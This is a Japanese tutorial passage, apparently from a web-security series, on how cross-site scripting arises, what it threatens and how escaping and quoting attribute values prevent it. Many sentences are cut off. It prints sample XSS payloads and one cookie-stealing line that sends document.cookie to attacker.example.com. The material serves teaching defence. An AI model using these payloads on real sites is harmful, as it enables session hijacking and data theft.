前回は,
- クロスサイトスクリプティング
(XSS) - クロスサイトリクエストフォージェリ
(CSRF) - オープンリダイレクト
- クリックジャッキング
今回は,
XSSはどのようにして引き起こされるのか
XSSとは,
たとえば,
語句「<span class="keyword">HTML5</span>」を検索しました。20件の文書が見つかりました。
このとき,<script>alert(1)</script>
」
語句「<span class="keyword"><script>alert(1)</script></span>」を検索しました。20件の文書が見つかりました。
のようになり,http://
などに誘導することで,
なお,
XSSの脅威とは
先の例では,
たとえば,
document.write( "<img src='http://attacker.example.com/?" + document.cookie + "'>" )
このとき,
XSSによって発生する脅威は,
- 偽情報の表示
(JavaScriptによって, 本来はWebサイト上に表示されていない偽の情報を自由にHTML上に表示できる) - フィッシング
(JavaScriptによって, 偽のログインフォームやお問い合わせフォーム, 住所登録フォームなどを表示することで, ユーザーのプライベートな情報を登録させ, それを搾取できる) - 強制的なWebアプリケーションの操作
(JavaScriptによって, 強制的に画面上のページ遷移や操作を攻撃者が行える) - セッション情報の漏洩
(Cookieにhttponly属性がつけられていない場合, JavaScriptからdocument. cookieを読み取ることによって, 攻撃者はCookieに含まれるセッション情報を盗み見ることができる。また, httponly属性がついている場合であっても, ブラウザによってはJavaScriptからdocument. cookieへの書き込みはできるので, 攻撃者があらかじめ用意したセッションを強制的に利用させることも可能) - 機密情報の漏洩
(JavaScriptからHTMLを読み取れるため, 攻撃者はHTML内に含まれる氏名や住所などのユーザーの機密情報を盗み見ることができる)
これらの脅威はあくまでも代表的なものであり,
XSSの原因と対策
XSSが発生する代表的な原因としては,
- テキストノードでのエスケープ漏れ
- 属性値への出力でのエスケープ漏れ
- 属性値への出力を引用符で囲っていない
- リンク先URLにhttpやhttps以外のスキームが入力可能
これら以外にもさまざまな原因でXSSは発生しますが,
XSSのうち非常に多くが,
語句「<span class="keyword"><script>alert(1)</script></span>」を検索しました。20件の文書が見つかりました。
また,
たとえば,
<input type=text value=HTML5>
このように,x onmouseover=alert(1)
」
<input type=text value=x onmouseover=alert(1)>
属性値を引用符で囲っている場合であっても,"onmouseover=alert(1)//
」
<input type="text" value=""onmouseover=alert(1)//">
従来から存在するXSSの非常に多くが,
- (1)
文字列を出力する際には, テキストノードあるいは属性値としてのみ解釈されるように適切にエスケープを施す - (2)
属性値を出力する際には, 引用符で囲む
- ※1)
- ユーザーの操作を介在させずにJavaScriptを動作させる方法も存在します。機会があれば,
回を改めて説明します。